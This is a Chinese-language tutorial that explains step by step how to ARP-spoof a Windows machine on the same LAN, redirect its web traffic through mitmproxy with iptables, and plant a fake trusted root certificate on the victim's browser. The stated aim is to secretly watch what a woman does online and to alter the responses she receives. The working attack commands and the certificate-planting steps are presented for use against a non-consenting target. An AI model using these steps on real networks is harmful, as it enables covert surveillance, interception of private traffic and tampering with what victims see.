Kali+mitmproxy 超級詳細的ssl劫持和窺竊動妹子上網動態(劫包,返回想要的內容)
這裡提供每一步詳細操作,由Hui3c編寫,
前排求關注
通過本次的學習,你可以知道或學習到:
- 使用mitmproxy進行簡單的ssl劫持
- 使用mitmproxy進行瀏覽器隱私監聽
- mitmproxy簡單用法
- mitmproxy劫包,修改包
一、準備階段
1. 檢視Kali和win7的ip,確保在同一區域網ping通
windows 在命令提示符輸入:
C:\Users\233>ipconfig
Kali在終端輸入:
[email protected]:~# ifconfig
值得注意的是,我們需要記住這個網絡卡的號碼!
#kali ip 192.168.0.128 使用網絡卡0 #win7 ip 192.168.0.103
2. 兩臺電腦在同一區域網並且能夠ping通
二、簡單的SSl劫持
- Kali中獲取當前閘道器
[email protected]:~# route -n # Kernel IP routing table # Destination Gateway Genmask Flags Metric Ref Use Iface # 0.0.0.0 192.168.0.1 0.0.0.0 UG 100 0 0 eth0 # 192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
可以看見,閘道器為192.168.0.1 2. 使用kali進行arp欺騙 格式為:
arpspoof -i 網絡卡 -t 閘道器 -r 目標ip
[email protected]:~# arpspoof -i eth0 -t 192.168.0.1 -r 192.168.0.103
三、配置防火牆規則,開啟轉發
主要是為了讓mitmproxy監聽8080埠
# 將防火牆重新配置
[email protected]:~# iptables -t nat -F
# 80埠轉至8080埠監聽
[email protected]:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
# 443埠轉至8080埠監聽
[email protected]:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
開啟流量轉發(不然訪問不了網頁):
# 開啟流量轉發
[email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward
四、SSL簡單攻擊
- 使用預設的配置進行攻擊
- 使用偽造的證書進行攻擊(本篇不講)
# 啟動mitmproxy,儲存日誌到mitmproxy.log
[email protected]:~# mitmproxy -T --host -w mitmproxy.log
此時,使用win7開啟瀏覽器: 成功的對目標進行ssl欺騙 再看看kali的終端: 已經完成對目標的ssl欺騙。
ssl欺騙怎麼能滿足我們的需求呢,肯定得乾點什麼事情對吧
五、給目標安裝偽證書
接下來就進入重頭戲了,開始我們學習之旅。能夠偷偷看看妹子在幹什麼
- 使用預設的證書
- 使用自己偽造的證書(本篇不講)
接下來就是要展現你們社會工程學的時間了,這裡假設你獲得了對方的電腦,你需要在對方的電腦上瀏覽器訪問
然後下載對應電腦版本的證書。接下來再繼續動手腳
這裡以谷歌瀏覽器為例子
在谷歌瀏覽器中進入設定
輸入chrome://settings/
1.找到最下面的高階選項,點選進去:
2.找到“管理證書”,點選
3.點選“匯入”
4.下一步
5.選擇**個人資訊交換(.*p12)**這個檔案型別,選擇剛剛下載好的證書,繼續下一步
6.直接下一步,密碼不用輸入
7.選擇“受信任的根證書頒發機構”
8.完成操作,選擇“是”
9.重啟瀏覽器,訪問隨便一個網站,發現已經可以訪問。
10.完成監聽!我們在kali這邊也能看見訪問的記錄了!就可以看看小姐姐在幹什麼
六、mitmproxy 基本用法
# 如果有基礎的可以直接略過本大章
1.整理了一些常用的快捷鍵:
注意:區分大小寫
鍵位 | 功能 |
---|---|
C | 清空控制檯 |
tab | 請求/響應內容切換 |
q | 返回上一個頁面 |
Q | 退出mitmproxy |
m | 調整響應結果顯示的格式,如json等 |
e | 編輯請求,響應 |
a | 允許通過當前選定的請求 |
A | 允許通過當前所有的請求 |
G | 檢視最新一條請求 |
r | 重新發送當前選定的請求 |
i | 攔截模式編輯 |
2.基本的攔截命令 在控制檯輸入“i”,然後輸入"~q"表示攔截所有請求 3.重新整理win7瀏覽器,發現kali所有被攔截的請求都變成了紅色 這時我們可以使用大寫的G鍵檢視最新的請求,你可以用小鍵盤上的上下左右鍵進行攔截選擇,回車進入詳細頁面,按小寫的a表示允許通過當前選定的攔截,大寫的A表示允許通過當前宿有的攔截請求,(即全部紅色的字)
值得注意的時,當你在進行攔截時,目標是無法訪問當前攔截的視窗的,所以要準確的攔截,不能單單使用~q命令,這樣對方使用網路感覺極差
簡單的介紹幾個常用的攔截方法:
攔截命令 | 作用 |
---|---|
~q | 攔截所有的請求 |
~c 403 | 攔截指定的狀態,如403狀態 |
~m POST | 攔截所有指定的請求,如POST請求 |
七、攔截資料包(傳送)
常用的就這幾個,或者可以直接在i裡輸入指定的url連線進行攔截,只要訪問相關的頁面,就會進行攔截
這時候我們就可以選中這條經過你精挑細選的結果按回車進去編輯
我們已經可以看見,已經將攔截到的請求自動變成json格式,你也可以按m鍵,然後檢視其對應的選擇,按高亮的藍色字,就可以切換顯示的樣子。
如果要編輯內容的話,輸入小寫的e並 按r選擇raw body
開啟後的基本用法,和vim的基本用法一樣,詳細的話去找vim相關的教程(本篇不講)
輸入i鍵後編輯好,按esc然後輸入:wq 結束操作
再按一下小寫的q鍵返回上一級 傳送請求(選中當前被攔截的請求,輸入小寫a)
好的,我們已經完成了基本的調包劫持工作,接下來就是對伺服器返回來的結果進行修改了
八、攔截資料包(返回)
基本的按鍵用法(區分大小寫)
按鍵 | 作用 |
---|---|
e | 對當前頁面的返回響應進行編輯 |
m | 選擇返回格式的顯示 ,如顯示為json格式 |
當我們發現我們剛剛傳送的資料包請求允許通過後,伺服器馬上返回來一條記錄,與傳送資料包不同的是,伺服器返回的攔截擁有狀態 我們點選回車進行編輯,在request頁面檢視剛剛我們已經串改的資料包 按下tab鍵切換到response,即伺服器響應頁面,按e鍵進行編輯,你也可以按m鍵選擇要顯示的格式,這裡我選擇了“僅內容字串” 在按e鍵後,繼續選擇raw body進行編輯返回結果 輸入:wq結束編輯 選中當前返回來的資料,按a鍵,允許通過。
大功告成!
喜悅的截圖效果: 未修改前的“使用者名稱或密碼錯誤” 修改後的:
九、總結
那麼,這裡只是簡單的介紹了mitmproxy的簡單的一些操作,還有修改偽造cookie,對頭部劫持的,可能會在後面的課程中講到 看我心情啦
通過這次的學習,我們能夠基本掌握mitmproxy的一些攔截和劫包的操作,同時,這個強大的工具不僅僅是有這些功能的,我教大家入門,大家也可以去到mitmproxy的官網
進行學習,雖然是英文我看不懂
可能後續還會出更多kali的課程,請關注我哦,親們。
由Hui3c編寫釋出,有錯字請指出!
記得關注我 最後附上一張攔截的表示式
指令 | 作用 |
---|---|
~b regex | 訊息內容body |
~bq regex | 請求內容的body |
~bs regex | 返回內容的body |
~d regex | 指定的域名 |
~c int | HTTP狀態碼 |
~hq regex | 請求header |
~hs regex | 返回header |
~u regex | 指定的url |
! | 非 |
& | 並 |
¦(這個符號打不出來) | 或 |
() | 一組表示式 |